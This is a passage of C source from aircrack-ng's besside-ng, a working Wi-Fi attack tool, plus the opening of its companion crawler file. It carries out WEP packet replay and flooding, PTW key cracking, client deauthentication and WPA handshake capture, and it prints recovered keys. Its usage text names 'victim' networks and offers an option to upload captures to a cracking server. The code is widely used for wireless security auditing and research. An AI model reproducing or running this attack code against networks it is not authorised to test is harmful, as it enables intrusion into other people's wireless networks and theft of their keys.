printf("Bad assoc resp\n");
}
static void grab_hidden_ssid(struct network * n,
struct ieee80211_frame * wh,
int len,
int off)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
unsigned char * p = ((unsigned char *) (wh + 1)) + off;
int l;
if (n->n_ssid[0]) return;
len -= sizeof(*wh) + off + 2;
if (len < 0) goto __bad;
if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
l = *p++;
if (l > len) goto __bad;
if (l == 0) return;
memcpy(n->n_ssid, p, l);
n->n_ssid[l] = 0;
if (!n->n_have_beacon) return;
found_ssid(n);
return;
__bad:
printf("\nbad grab_hidden_ssid\n");
return;
}
static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_BEACON:
wifi_beacon(n, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_AUTH:
wifi_auth(n, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
wifi_assoc_resp(n, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_DEAUTH:
if (for_us(wh) && need_connect(n))
{
REQUIRE(n != NULL);
time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid);
n->n_wstate = WSTATE_NONE;
network_connect(n);
}
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
grab_hidden_ssid(n, wh, len, 2 + 2);
break;
case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
break;
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
break;
default:
if (for_us(wh))
{
printf("UNHANDLED MGMT %d\n",
(wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
>> IEEE80211_FC0_SUBTYPE_SHIFT);
}
break;
}
}
static inline void wifi_ctl(struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(wh);
UNUSED_PARAM(len);
}
static unsigned char * get_client_mac(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
unsigned char * bssid = get_bssid(wh);
int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);
if (!bssid) return (wh->i_addr2);
if (bssid == wh->i_addr1)
return (wh->i_addr2);
else
return (wh->i_addr1);
}
static struct client * client_get(struct network * n,
struct ieee80211_frame * wh)
{
REQUIRE(n != NULL);
struct client * c = n->n_clients.c_next;
unsigned char * cmac = get_client_mac(wh);
if (!cmac) return (NULL);
while (c)
{
if (memcmp(c->c_mac, cmac, 6) == 0) return (c);
c = c->c_next;
}
return (NULL);
}
static struct client * client_update(struct network * n,
struct ieee80211_frame * wh)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
unsigned char * cmac = get_client_mac(wh);
struct client * c;
int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
if (!cmac) return (NULL);
/* let's not pwn ourselves */
if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return (NULL);
if (cmac == wh->i_addr1)
{
if (memcmp(cmac, BROADCAST, 6) == 0) return (NULL);
/* multicast */
if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return (NULL);
/* ipv6 multicast */
if (memcmp(cmac, "\x33\x33", 2) == 0) return (NULL);
/* MAC PAUSE */
if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return (NULL);
/* fuck it */
if (cmac[0] == 0x01) return (NULL);
}
/* here we can choose how conservative to be */
if (type == IEEE80211_FC0_TYPE_MGT)
{
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
break;
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
default:
return (NULL);
}
}
c = client_get(n, wh);
if (!c)
{
c = xmalloc(sizeof(*c));
memset(c, 0, sizeof(*c));
memcpy(c->c_mac, cmac, sizeof(c->c_mac));
c->c_next = n->n_clients.c_next;
n->n_clients.c_next = c;
if (n->n_have_beacon
&& (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
found_new_client(n, c);
}
return (c);
}
static void process_eapol(struct network * n,
struct client * c,
unsigned char * p,
int len,
struct ieee80211_frame * wh,
int totlen)
{
REQUIRE(n != NULL);
int num, i;
if (n->n_client_handshake) return;
num = eapol_handshake_step(p, len);
if (num == 0) return;
REQUIRE(c != NULL);
/* reset... should use time, too. XXX conservative - check retry */
if (c->c_wpa == 0 || num <= c->c_wpa)
{
for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
c->c_wpa_got = 0;
}
c->c_wpa = num;
switch (num)
{
case 1:
c->c_wpa_got |= 1;
break;
case 2:
c->c_wpa_got |= 2;
c->c_wpa_got |= 4;
break;
case 3:
REQUIRE(p != NULL);
if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
c->c_wpa_got |= 4;
break;
case 4:
REQUIRE(p != NULL);
if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
c->c_wpa_got |= 4;
break;
default:
abort();
}
packet_copy(&c->c_handshake[num - 1], wh, totlen);
time_printf(V_VERBOSE,
"Got WPA handshake step %d (have %d) for %s\n",
num,
c->c_wpa_got,
n->n_ssid);
if (c->c_wpa_got == 7)
{
n->n_client_handshake = c;
time_printf(
V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid);
n->n_client_mac = c;
found_mac(n);
if (n->n_ssid[0])
{
n->n_astate = ASTATE_WPA_CRACK;
attack_continue(n);
}
}
}
static int is_replayable(struct ieee80211_frame * wh, int len)
{
unsigned char clear[2048];
int dlen = len - 4 - 4;
int clearsize;
int weight[16];
known_clear(clear, &clearsize, weight, (void *) wh, dlen);
if (clearsize < 16) return (0);
return (1);
}
static void get_replayable(struct network * n,
struct ieee80211_frame * wh,
unsigned char * body,
int len)
{
if (!is_replayable(wh, len)) return;
REQUIRE(n != NULL);
if (n->n_replay_len) return;
n->n_replay_got = 0;
REQUIRE(wh != NULL);
assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay));
REQUIRE(body != NULL);
memcpy(&n->n_replay[sizeof(*wh)], body, len);
n->n_replay_len = len + sizeof(*wh);
wh = (struct ieee80211_frame *) n->n_replay;
fill_basic(n, wh);
memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3));
memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
time_printf(V_NORMAL,
"Got replayable packet for %s [len %d]\n",
n->n_ssid,
len - 4 - 4);
if (_state.s_state == STATE_ATTACK && _state.s_curnet == n
&& n->n_astate == ASTATE_WEP_PRGA_GET)
attack_continue(n);
}
static void
check_replay(struct network * n, struct ieee80211_frame * wh, int len)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_astate != ASTATE_WEP_FLOOD)
return;
if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;
if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;
if (len != (int) (n->n_replay_len - sizeof(*wh))) return;
n->n_replay_got++;
memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last));
// ack clocked
do_flood(n);
}
static void
do_wep_crack(struct cracker * c, struct network * n, int len, int limit)
{
REQUIRE(c != NULL);
REQUIRE(n != NULL);
unsigned char key[PTW_KEYHSBYTES];
int(*all)[256];
int i, j;
all = xmalloc(256 * 32 * sizeof(int));
// initial setup (complete keyspace)
for (i = 0; i < 32; i++)
{
for (j = 0; j < 256; j++) all[i][j] = 1;
}
if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1)
return;
IGNORE_LTZ(write(c->cr_pipe[1], key, len));
}
static inline void crack_wep64(struct cracker * c, struct network * n)
{
do_wep_crack(c, n, 5, KEYLIMIT / 10);
}
static inline void crack_wep128(struct cracker * c, struct network * n)
{
do_wep_crack(c, n, 13, KEYLIMIT);
}
static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n)
{
REQUIRE(c != NULL);
if (pipe(c->cr_pipe) == -1) err(1, "pipe()");
c->cr_pid = fork();
if (c->cr_pid == -1) err(1, "fork()");
if (c->cr_pid)
{
/* parent */
close(c->cr_pipe[1]);
}
else
{
/* child */
close(c->cr_pipe[0]);
cb(c, n);
exit(EXIT_SUCCESS);
}
}
static void wep_crack_start(struct network * n)
{
REQUIRE(n != NULL);
cracker_kill(&n->n_cracker_wep[0]);
cracker_kill(&n->n_cracker_wep[1]);
cracker_start(&n->n_cracker_wep[0], crack_wep64, n);
cracker_start(&n->n_cracker_wep[1], crack_wep128, n);
}
static void wep_crack(struct network * n)
{
REQUIRE(n != NULL);
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_astate != ASTATE_WEP_FLOOD)
{
n->n_crack_next = n->n_data_count + 1;
return;
}
wep_crack_start(n);
n->n_crack_next += _conf.cf_crack_int;
}
static int ptw_add(struct network * n,
struct ieee80211_frame * wh,
unsigned char * body,
int len)
{
unsigned char clear[2048];
int dlen = len - 4 - 4;
int clearsize;
int i, weight[16], k, j;
int rc = 0;
k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
if (clearsize < 16) return (rc);
for (j = 0; j < k; j++)
{
for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
}
if (!n->n_ptw)
{
n->n_ptw = PTW_newattackstate();
if (!n->n_ptw) err(1, "PTW_newattackstate()");
}
if (PTW_addsession(n->n_ptw, body, clear, weight, k))
{
speed_add(&n->n_flood_in);
n->n_data_count++;
rc = 1;
}
if (n->n_data_count == n->n_crack_next) wep_crack(n);
return (rc);
}
static void ptw_free(struct network * n)
{
REQUIRE(n != NULL);
if (n->n_ptw)
{
PTW_freeattackstate(n->n_ptw);
n->n_ptw = NULL;
}
}
static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
unsigned char * p = (unsigned char *) (wh + 1);
struct llc * llc;
int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
int eapol = 0;
struct client * c;
int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
int orig = len;
len -= sizeof(*wh);
if (stype == IEEE80211_FC0_SUBTYPE_QOS)
{
p += 2;
len -= 2;
}
if (!wep && len >= 8)
{
llc = (struct llc *) p;
eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
p += 8;
len -= 8;
}
if (!wep && !eapol) return;
if (!n->n_have_beacon)
{
n->n_chan = _state.s_chan;
n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP;
/* XXX */
if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA;
}
if (eapol)
{
c = client_get(n, wh);
/* c can be null if using our MAC (e.g., VAPs) */
if (c) process_eapol(n, c, p, len, wh, orig);
return;
}
if (n->n_crypto != CRYPTO_WEP)
{
ptw_free(n);
return;
}
if (len < (4 + 4)) return;
if (n->n_astate == ASTATE_DONE) return;
get_replayable(n, wh, p, len);
check_replay(n, wh, len);
if (ptw_add(n, wh, p, len))
{
if (n->n_have_beacon && !n->n_beacon_wrote)
{
packet_write_pcap(_state.s_wepfd, &n->n_beacon);
n->n_beacon_wrote = 1;
}
write_pcap(_state.s_wepfd, wh, orig);
}
}
static struct network * network_update(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
struct network * n;
struct client * c = NULL;
unsigned char * bssid;
int fromnet;
bssid = get_bssid(wh);
if (!bssid) return (NULL);
n = network_get(wh);
if (!n) n = network_add(wh);
ALLEGE(n != NULL);
if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0)))
n->n_dbm = _state.s_ri->ri_power;
c = client_update(n, wh);
if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power;
return (n);
}
static void wifi_read(void)
{
struct state * s = &_state;
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
int rd;
struct rx_info * ri = calloc(1, sizeof(*ri));
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
struct network * n;
REQUIRE(ri != NULL);
memset(buf, 0, sizeof(buf));
rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), ri);
if (rd < 0) err(1, "wi_read()");
if (rd < (int) sizeof(struct ieee80211_frame))
{
return;
}
s->s_ri = ri;
n = network_update(wh);
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
{
case IEEE80211_FC0_TYPE_MGT:
wifi_mgt(n, wh, rd);
break;
case IEEE80211_FC0_TYPE_CTL:
wifi_ctl(wh, rd);
break;
case IEEE80211_FC0_TYPE_DATA:
wifi_data(n, wh, rd);
break;
default:
printf("Unknown type %d\n", wh->i_fc[0]);
}
}
static const char * astate2str(int astate)
{
static char num[16];
static const char * states[] = {"NONE",
"PING",
"READY",
"DEAUTH",
"WPA_CRACK",
"GET REPLAY",
"FLOOD",
"NONE",
"DONE"};
if (astate >= (int) ArrayCount(states))
{
snprintf(num, sizeof(num), "%d", astate);
return (num);
}
return (states[astate]);
}
static const char * wstate2str(int astate)
{
static char num[16];
static const char * states[] = {"NONE", "AUTH", "ASSOC"};
if (astate >= (int) ArrayCount(states))
{
snprintf(num, sizeof(num), "%d", astate);
return (num);
}
return (states[astate]);
}
static void print_status(int advance)
{
static const char status[] = "|/-|/-\\";
static const char * statusp = status;
struct network * n = _state.s_curnet;
struct client * c;
int ccount = 0;
time_printf(V_NORMAL, "%c", *statusp);
switch (_state.s_state)
{
case STATE_SCAN:
printf(" Scanning chan %.2d", _state.s_chan);
break;
case STATE_ATTACK:
printf(" Attacking [%s] %s - %s",
n->n_ssid,
n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
astate2str(n->n_astate));
if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
printf(" [conn: %s]", wstate2str(n->n_wstate));
switch (n->n_astate)
{
case ASTATE_WEP_FLOOD:
if (n->n_cracker_wep[0].cr_pid
|| n->n_cracker_wep[1].cr_pid)
printf(" cracking");
speed_calculate(&n->n_flood_in);
speed_calculate(&n->n_flood_out);
printf(" - %d IVs rate %u [%u PPS out] len %d",
n->n_data_count,
n->n_flood_in.s_speed,
n->n_flood_out.s_speed,
(int) (n->n_replay_len
- sizeof(struct ieee80211_frame) - 4 - 4));
break;
case ASTATE_DEAUTH:
c = n->n_clients.c_next;
while (c)
{
ccount++;
c = c->c_next;
}
if (ccount) printf(" (know %d clients)", ccount);
break;
}
break;
}
printf("\r");
fflush(stdout);
if (advance) statusp++;
if (statusp >= (&status[sizeof(status) - 1])) statusp = status;
}
static void make_progress(void)
{
if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2)
{
print_work();
attack_next();
_state.s_hopcycles = 0;
}
}
static void cracker_check(struct network * n, struct cracker * c)
{
REQUIRE(c != NULL);
unsigned char buf[1024];
int rc;
rc = read(c->cr_pipe[0], buf, sizeof(buf));
if (rc <= 0)
{
cracker_kill(c);
return;
}
ALLEGE(rc <= (int) sizeof(n->n_key));
memcpy(n->n_key, buf, rc);
n->n_key_len = rc;
time_printf(V_NORMAL, "Got key for %s [", n->n_ssid);
print_hex(n->n_key, n->n_key_len);
printf("] %d IVs\n", n->n_data_count);
cracker_kill(&n->n_cracker_wep[0]);
cracker_kill(&n->n_cracker_wep[1]);
n->n_astate = ASTATE_DONE;
ptw_free(n);
attack_continue(n);
}
static int add_cracker_fds(fd_set * fds, int max)
{
struct network * n;
int i;
if (_state.s_state != STATE_ATTACK) return (max);
n = _state.s_curnet;
for (i = 0; i < 2; i++)
{
struct cracker * c = &n->n_cracker_wep[i];
if (c->cr_pipe[0])
{
FD_SET(c->cr_pipe[0], fds);
if (c->cr_pipe[0] > max) max = c->cr_pipe[0];
}
}
return (max);
}
static void check_cracker_fds(fd_set * fds)
{
struct network * n;
struct cracker * c;
int i;
if (_state.s_state != STATE_ATTACK) return;
n = _state.s_curnet;
for (i = 0; i < 2; i++)
{
c = &n->n_cracker_wep[i];
if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c);
}
}
static inline char * strip_spaces(char * p)
{
REQUIRE(p != NULL);
char * x;
while (*p == ' ') p++;
x = p + strlen(p) - 1;
while (x >= p && *x == ' ') *x-- = 0;
return (p);
}
static int parse_hex(unsigned char * out, char * in, int l)
{
REQUIRE(out != NULL);
int len = 0;
while (in)
{
char * p = strchr(in, ':');
unsigned int x;
if (--l < 0) err(1, "parse_hex len");
if (p) *p++ = 0;
if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()");
*out++ = (unsigned char) x;
len++;
in = p;
}
return (len);
}
static void resume_network(char * buf)
{
REQUIRE(buf != NULL);
char *p = buf, *p2;
int state = 0;
struct network * n;
if (buf[0] == '#') return;
n = network_new();
while (1)
{
p2 = strchr(p, '|');
if (!p2)
{
p2 = strchr(p, '\n');
if (!p2) break;
}
*p2++ = 0;
p = strip_spaces(p);
switch (state)
{
/* ssid */
case 0:
strncpy(n->n_ssid, p, sizeof(n->n_ssid));
(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
break;
/* key */
case 1:
if (strstr(p, "handshake"))
{
n->n_crypto = CRYPTO_WPA;
n->n_client_handshake = (void *) 0xbad; //-V566
}
else if (strchr(p, ':'))
{
n->n_crypto = CRYPTO_WEP;
n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key));
}
if (n->n_crypto != CRYPTO_NONE)
{
n->n_have_beacon = 1;
n->n_astate = ASTATE_DONE;
}
break;
/* bssid */
case 2:
parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
break;
case 3:
if (*p)
{
struct client * c = xmalloc(sizeof(*c));
memset(c, 0, sizeof(*c));
parse_hex(c->c_mac, p, sizeof(c->c_mac));
n->n_client_mac = c;
n->n_got_mac = 1;
}
break;
}
state++;
p = p2;
}
if (n->n_astate != ASTATE_DONE)
{
free(n);
return;
}
do_network_add(n);
network_print(n);
}
static void resume(void)
{
FILE * f;
char buf[4096];
f = fopen(_conf.cf_log, "r");
if (!f) return;
time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log);
while (fgets(buf, sizeof(buf), f)) resume_network(buf);
fclose(f);
}
static void cleanup(int UNUSED(x))
{
struct state * s = &_state;
struct network * n;
printf("\nDying...\n");
wi_close(s->s_wi);
if (_state.s_state == STATE_ATTACK)
{
n = _state.s_curnet;
ALLEGE(n);
cracker_kill(&n->n_cracker_wep[0]);
cracker_kill(&n->n_cracker_wep[1]);
}
if (_state.s_wpafd) close(_state.s_wpafd);
if (_state.s_wepfd) close(_state.s_wepfd);
print_work();
#ifdef HAVE_PCRE2
if (_conf.cf_essid_regex)
{
pcre2_match_data_free(_conf.cf_essid_match_data);
pcre2_code_free(_conf.cf_essid_regex);
}
#elif defined HAVE_PCRE
if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
#endif
exit(EXIT_SUCCESS);
}
static void pwn(void)
{
struct state * s = &_state;
struct timeval tv;
fd_set fds;
int wifd, max, rc;
if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()");
if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()");
gettimeofday(&_state.s_now, NULL);
memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start));
wifd = wi_fd(s->s_wi);
max = wifd;
char * mac = mac2string(_state.s_mac);
ALLEGE(mac != NULL);
time_printf(V_VERBOSE, "mac %s\n", mac);
free(mac);
time_printf(V_NORMAL, "Let's ride\n");
if (_conf.cf_autochan) autodetect_channels();
if (wi_set_channel(s->s_wi, _state.s_chan) == -1)
err(1, "wi_set_channel()");
resume();
_state.s_wpafd = open_pcap(_conf.cf_wpa);
_state.s_wepfd = open_pcap(_conf.cf_wep);
save_log();
time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log);
scan_start();
while (s->s_state != STATE_DONE) //-V1044
{
timer_next(&tv);
FD_ZERO(&fds);
FD_SET(wifd, &fds);
max = add_cracker_fds(&fds, max);
if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1
&& errno != EINTR)
err(1, "select()");
gettimeofday(&_state.s_now, NULL);
check_cracker_fds(&fds);
print_status(FD_ISSET(wifd, &fds));
if (FD_ISSET(wifd, &fds)) wifi_read();
timer_check();
make_progress();
}
time_printf(V_NORMAL, "All neighbors owned\n");
cleanup(EXIT_SUCCESS);
}
static void channel_add(int num)
{
struct channel * c = xmalloc(sizeof(*c));
struct channel * pos = _conf.cf_channels.c_next;
while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next;
memset(c, 0, sizeof(*c));
pos->c_next = c;
c->c_num = num;
c->c_next = _conf.cf_channels.c_next;
}
static void autodetect_freq(int start, int end, int incr)
{
int freq;
int chan;
for (freq = start; freq <= end; freq += incr)
{
if (wi_set_freq(_state.s_wi, freq) == 0)
{
chan = wi_get_channel(_state.s_wi);
channel_add(chan);
time_printf(
V_VERBOSE, "Found channel %d on frequency %d\n", chan, freq);
}
else
{
time_printf(V_VERBOSE, "No channel found on frequency %d\n", freq);
}
}
}
static void autodetect_channels(void)
{
time_printf(V_NORMAL, "Autodetecting supported channels...\n");
// clang-format off
// autodetect 2ghz channels
autodetect_freq(2412, 2472, 5); //-V525 CH: 1-13
autodetect_freq(2484, 2484, 1); //-V525 CH: 14
autodetect_freq(5180, 5320, 10); //-V525 CH: 36-64
autodetect_freq(5500, 5720, 10); //-V525 CH: 100-144
autodetect_freq(5745, 5805, 10); //-V525 CH: 149-161
autodetect_freq(5825, 5825, 1); //-V525 CH: 165
// clang-format on
}
static void init_conf(void)
{
_conf.cf_channels.c_next = &_conf.cf_channels;
_conf.cf_autochan = 1;
_state.s_hopchan = _conf.cf_channels.c_next;
_conf.cf_hopfreq = 250;
_conf.cf_deauthfreq = 2500;
_conf.cf_attackwait = 10;
_conf.cf_floodwait = 60;
_conf.cf_to = 100;
_conf.cf_floodfreq = 10 * 1000;
_conf.cf_crack_int = 5000;
_conf.cf_wpa = "wpa.cap";
_conf.cf_wep = "wep.cap";
_conf.cf_log = "besside.log";
_conf.cf_do_wep = 1;
_conf.cf_do_wpa = 1;
}
static const char * timer_cb2str(timer_cb cb)
{
if (cb == hop)
return ("hop");
else if (cb == attack_watchdog)
return ("attack_watchdog");
else if (cb == deauth)
return ("deauth");
else
return ("UNKNOWN");
}
static void print_state_network(struct network * n)
{
REQUIRE(n != NULL);
struct client * c = n->n_clients.c_next;
char * mac_bssid = mac2string(n->n_bssid);
ALLEGE(mac_bssid != NULL);
printf("Network: [%s] chan %d bssid %s astate %d dbm %d"
" have_beacon %d crypto %d",
n->n_ssid,
n->n_chan,
mac_bssid,
n->n_astate,
n->n_dbm,
n->n_have_beacon,
n->n_crypto);
free(mac_bssid);
if (n->n_key_len)
{
printf(" KEY [");
print_hex(n->n_key, n->n_key_len);
printf("]");
}
printf("\n");
while (c)
{
char * mac = mac2string(c->c_mac);
ALLEGE(mac != NULL);
printf("\tClient: %s wpa_got %d dbm %d\n", mac, c->c_wpa_got, c->c_dbm);
free(mac);
c = c->c_next;
}
}
static void print_state(int UNUSED(x))
{
struct state * s = &_state;
struct network * n = s->s_curnet;
struct channel * c = s->s_hopchan;
struct channel * c2 = c;
struct timer * t = s->s_timers.t_next;
printf("\n=============== Internal state ============\n");
printf("State:\t%d\n", s->s_state);
if (s->s_state == STATE_ATTACK)
{
char * mac = mac2string(n->n_bssid);
ALLEGE(mac != NULL);
printf("Current attack network: [%s] %s\n", n->n_ssid, mac);
free(mac);
}
n = _state.s_networks.n_next;
while (n)
{
print_state_network(n);
n = n->n_next;
}
printf("Current chan: %d\n", s->s_chan);
printf("Hop cycle %u chans:", s->s_hopcycles);
do
{
printf(" %d", c->c_num);
c = c->c_next;
if (c != c2) printf(",");
} while (c != c2);
printf("\n");
printf("Now: %lu.%lu\n",
(unsigned long) s->s_now.tv_sec,
(unsigned long) s->s_now.tv_usec);
while (t)
{
printf("Timer: %lu.%lu %p[%s](%p)\n",
(unsigned long) t->t_tv.tv_sec,
(unsigned long) t->t_tv.tv_usec,
(void *) ((uintptr_t) t->t_cb),
timer_cb2str(t->t_cb),
t->t_arg);
t = t->t_next;
}
print_work();
printf("===========================================\n");
}
static void usage(char * prog)
{
char * version_info
= getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2010 Andrea Bittau\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: %s [options] <interface>\n"
"\n"
" Options:\n"
"\n"
" -b <victim mac> Victim BSSID\n"
" -R <victim ap regex> Victim ESSID regex (requires PCRE)\n"
" -s <WPA server> Upload wpa.cap for cracking\n"
" -c <chan> chanlock\n"
" -p <pps> flood rate\n"
" -W WPA only\n"
" -v verbose, -vv for more, etc.\n"
" -h This help screen\n"
"\n",
version_info,
prog);
free(version_info);
exit(EXIT_FAILURE);
}
int main(int argc, char * argv[])
{
int ch, temp;
#ifdef HAVE_PCRE2
int pcreerror;
PCRE2_UCHAR pcreerrorbuf[256];
PCRE2_SIZE pcreerroffset;
#elif defined HAVE_PCRE
const char * pcreerror;
int pcreerroffset;
#endif
init_conf();
while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1)
{
switch (ch)
{
case 's':
_conf.cf_wpa_server = optarg;
break;
case 'W':
_conf.cf_do_wep = 0;
break;
case 'p':
temp = atoi(optarg);
if (temp <= 0)
{
printf("Invalid flood rate value, must be > 0");
exit(EXIT_FAILURE);
}
_conf.cf_floodfreq
= (int) (1.0 / (double) temp * 1000.0 * 1000.0);
break;
case 'c':
// XXX leak
_conf.cf_channels.c_next = &_conf.cf_channels;
temp = atoi(optarg);
if (temp <= 0)
{
printf("Invalid channel, must be > 0\n");
exit(EXIT_FAILURE);
}
channel_add(temp);
_state.s_hopchan = _conf.cf_channels.c_next;
_conf.cf_autochan = 0;
break;
case 'v':
_conf.cf_verb++;
break;
case 'b':
_conf.cf_bssid = xmalloc(6);
parse_hex(_conf.cf_bssid, optarg, 6);
break;
case 'R':
#if defined HAVE_PCRE2 || defined HAVE_PCRE
if (_conf.cf_essid_regex != NULL)
{
printf("Error: ESSID regular expression already given. "
"Aborting\n");
exit(EXIT_FAILURE);
}
_conf.cf_essid_regex
= COMPAT_PCRE_COMPILE(optarg, &pcreerror, &pcreerroffset);
if (_conf.cf_essid_regex == NULL)
{
#ifdef HAVE_PCRE2
pcre2_get_error_message(
pcreerror, pcreerrorbuf, sizeof(pcreerrorbuf));
COMPAT_PCRE_PRINT_ERROR(pcreerroffset, pcreerrorbuf);
#elif defined HAVE_PCRE
COMPAT_PCRE_PRINT_ERROR(pcreerroffset, pcreerror);
#endif
exit(EXIT_FAILURE);
}
break;
#else
printf("Error: Regular expressions are unsupported in this "
"build.\n");
exit(EXIT_FAILURE);
#endif
default:
case 'h':
usage(argv[0]);
break;
}
}
if (optind <= argc) _conf.cf_ifname = argv[optind];
if (!_conf.cf_ifname)
{
printf("Gimme an interface name dude\n");
usage(argv[0]);
}
signal(SIGINT, cleanup);
signal(SIGKILL, cleanup);
signal(SIGUSR1, print_state);
signal(SIGCHLD, do_wait);
pwn();
/* UNREACHED */
} |
C | aircrack-ng/src/besside-ng-crawler/besside-ng-crawler.c | /*
* Copyright (C) 2010 Pedro Larbig <pedro.larbig@carhs.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <time.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>
#include <pcap.h>
#include "aircrack-ng/defs.h"
#ifndef DLT_PRISM_HEADER
#define DLT_PRISM_HEADER 119
#endif
// Statistics
static uint32_t stats_files = 0;
static uint32_t stats_dirs = 0;
static uint32_t stats_caps = 0;
static uint32_t stats_noncaps = 0;
static uint32_t stats_packets = 0;
static uint32_t stats_eapols = 0;
static uint32_t stats_networks = 0;
// Global Dumpfile
static pcap_t * dumphandle = NULL;
static pcap_dumper_t * dumper = NULL;
struct bsslist
{
u_char * bssid;
u_char beacon_saved;
struct bsslist * next;
};
static struct bsslist * is_in_list(struct bsslist * bsl, const u_char * bssid)
{
while (bsl != NULL)
{
